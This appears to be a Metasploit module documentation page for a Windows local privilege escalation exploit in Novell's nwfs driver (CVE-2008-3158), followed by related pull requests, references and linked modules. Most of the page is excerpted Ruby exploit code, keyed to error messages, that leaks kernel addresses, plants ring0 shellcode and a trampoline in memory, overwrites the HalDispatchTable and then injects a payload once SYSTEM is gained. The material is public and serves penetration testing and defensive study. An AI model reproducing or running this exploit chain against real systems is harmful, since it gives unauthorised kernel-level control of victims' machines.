149: end
150:
Failed to disclose the Kernel module name
Here is a relevant code snippet related to the "Failed to disclose the Kernel module name" error message:
155: addresses = {}
156:
157: vprint_status("Getting the Kernel module name...")
158: kernel_info = find_sys_base(nil)
159: if kernel_info.nil?
160: vprint_error("Failed to disclose the Kernel module name")
161: return nil
162: end
163: vprint_good("Kernel module found: #{kernel_info[1]}")
164:
165: vprint_status("Getting a Kernel handle...")
Failed to get a Kernel handle
Here is a relevant code snippet related to the "Failed to get a Kernel handle" error message:
164:
165: vprint_status("Getting a Kernel handle...")
166: kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
167: kernel32_handle = kernel32_handle['return']
168: if kernel32_handle == 0
169: vprint_error("Failed to get a Kernel handle")
170: return nil
171: end
172: vprint_good("Kernel handle acquired")
173:
174: vprint_status("Disclosing the HalDispatchTable...")
Failed to disclose the HalDispatchTable
Here is a relevant code snippet related to the "Failed to disclose the HalDispatchTable" error message:
173:
174: vprint_status("Disclosing the HalDispatchTable...")
175: hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
176: hal_dispatch_table = hal_dispatch_table['return']
177: if hal_dispatch_table == 0
178: vprint_error("Failed to disclose the HalDispatchTable")
179: return nil
180: end
181: hal_dispatch_table -= kernel32_handle
182: hal_dispatch_table += kernel_info[0]
183: addresses["halDispatchTable"] = hal_dispatch_table
Failed to disclose hal.dll Base Address
Here is a relevant code snippet related to the "Failed to disclose hal.dll Base Address" error message:
184: vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
185:
186: vprint_status("Getting the hal.dll Base Address...")
187: hal_info = find_sys_base("hal.dll")
188: if hal_info.nil?
189: vprint_error("Failed to disclose hal.dll Base Address")
190: return nil
191: end
192: hal_base = hal_info[0]
193: vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
194:
Running against 64-bit systems is not supported
Here is a relevant code snippet related to the "Running against 64-bit systems is not supported" error message:
199: return addresses
200: end
201:
202: def exploit
203: if sysinfo["Architecture"] == ARCH_X64
204: fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
205: end
206:
207: my_target = nil
208: if target.name =~ /Automatic/
209: print_status("Detecting the target system...")
Remote system not detected as target, select the target manually
Here is a relevant code snippet related to the "Remote system not detected as target, select the target manually" error message:
216: else
217: my_target = target
218: end
219:
220: if my_target.nil?
221: fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
222: end
223:
224: print_status("Checking device...")
225: handle = open_device("\\\\.\\nwfs")
226: if handle.nil?
\\.\nwfs device not found
Here is a relevant code snippet related to the "\\.\nwfs device not found" error message:
222: end
223:
224: print_status("Checking device...")
225: handle = open_device("\\\\.\\nwfs")
226: if handle.nil?
227: fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found")
228: else
229: print_good("\\\\.\\nwfs found!")
230: end
231:
232: print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
Failed to disclose necessary addresses for exploitation. Aborting.
Here is a relevant code snippet related to the "Failed to disclose necessary addresses for exploitation. Aborting." error message:
231:
232: print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
233: @addresses = disclose_addresses(my_target)
234: if @addresses.nil?
235: session.railgun.kernel32.CloseHandle(handle)
236: fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
237: else
238: print_good("Addresses successfully disclosed.")
239: end
240:
241: print_status("Storing the kernel stager on memory...")
Error while storing the kernel stager shellcode on memory
Here is a relevant code snippet related to the "Error while storing the kernel stager shellcode on memory" error message:
243: kernel_shell = ring0_shellcode(my_target)
244: kernel_shell_address = 0x1000
245: result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
246: if result.nil?
247: session.railgun.kernel32.CloseHandle(handle)
248: fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
249: else
250: print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
251: end
252:
253: print_status("Storing the trampoline to the kernel stager on memory...")
Error while storing trampoline on memory
Here is a relevant code snippet related to the "Error while storing trampoline on memory" error message:
257: trampoline << "\xc3" # ret
258: trampoline_addr = 0x3
259: result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
260: if result.nil?
261: session.railgun.kernel32.CloseHandle(handle)
262: fail_with(Failure::Unknown, "Error while storing trampoline on memory")
263: else
264: print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
265: end
266:
267: print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
The exploitation wasn't successful
Here is a relevant code snippet related to the "The exploitation wasn't successful" error message:
273: result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
274:
275: print_status("Checking privileges after exploitation...")
276:
277: if not is_system?
278: fail_with(Failure::Unknown, "The exploitation wasn't successful")
279: else
280: print_good("Exploitation successful!")
281: end
282:
283: p = payload.encoded
Error while executing the payload
Here is a relevant code snippet related to the "Error while executing the payload" error message:
283: p = payload.encoded
284: print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
285: if execute_shellcode(p)
286: print_good("Enjoy")
287: else
288: fail_with(Failure::Unknown, "Error while executing the payload")
289: end
290: end
291: end
292:
293: =begin
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10275 Merged Pull Request: Update missing CVE references for exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #5020 Merged Pull Request: Fixed common mispellings, Filed vs Failed, Explot vs Exploit
- #3655 Merged Pull Request: Moar bad packs
- #3612 Merged Pull Request: WindowsKernel Exploit Mixin And Module Refactoring
- #2762 Merged Pull Request: Use new ntdll railgun functions
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #2071 Merged Pull Request: [SeeRM:#8136] & [SeeRM:#8137] - Use execute_shellcode in novell modules
- #2003 Merged Pull Request: Add module for OSVDB 46578
References
- CVE-2008-3158
- OSVDB (46578)
- BID-30001
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/novell_file_reporter_filedelete
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
- auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
- auxiliary/scanner/http/novell_mdm_creds
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/multi/http/novell_servicedesk_rce
- exploit/windows/browser/novell_groupwise_gwcls1_actvx
- exploit/windows/browser/novelliprint_callbackurl
- exploit/windows/browser/novelliprint_datetime
- exploit/windows/browser/novelliprint_executerequest
- exploit/windows/browser/novelliprint_executerequest_dbg
- exploit/windows/browser/novelliprint_getdriversettings
- exploit/windows/browser/novelliprint_getdriversettings_2
- exploit/windows/browser/novelliprint_target_frame
- exploit/windows/http/novell_imanager_upload
- exploit/windows/http/novell_mdm_lfi
- exploit/windows/http/novell_messenger_acceptlang
- exploit/windows/imap/novell_netmail_append
- exploit/windows/imap/novell_netmail_auth
- exploit/windows/imap/novell_netmail_status
- exploit/windows/imap/novell_netmail_subscribe
- exploit/windows/local/novell_client_nicm
- exploit/windows/novell/file_reporter_fsfui_upload
- exploit/windows/novell/groupwisemessenger_client
- exploit/windows/novell/netiq_pum_eval
- exploit/windows/novell/nmap_stor
- exploit/windows/novell/zenworks_desktop_agent
- exploit/windows/novell/zenworks_preboot_op21_bof
- exploit/windows/novell/zenworks_preboot_op4c_bof
- exploit/windows/novell/zenworks_preboot_op6_bof
- exploit/windows/novell/zenworks_preboot_op6c_bof
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/ms15_051_client_copy_image
- exploit/windows/local/srclient_dll_hijacking
Related Nessus plugins:
Authors
- Ruben Santamarta
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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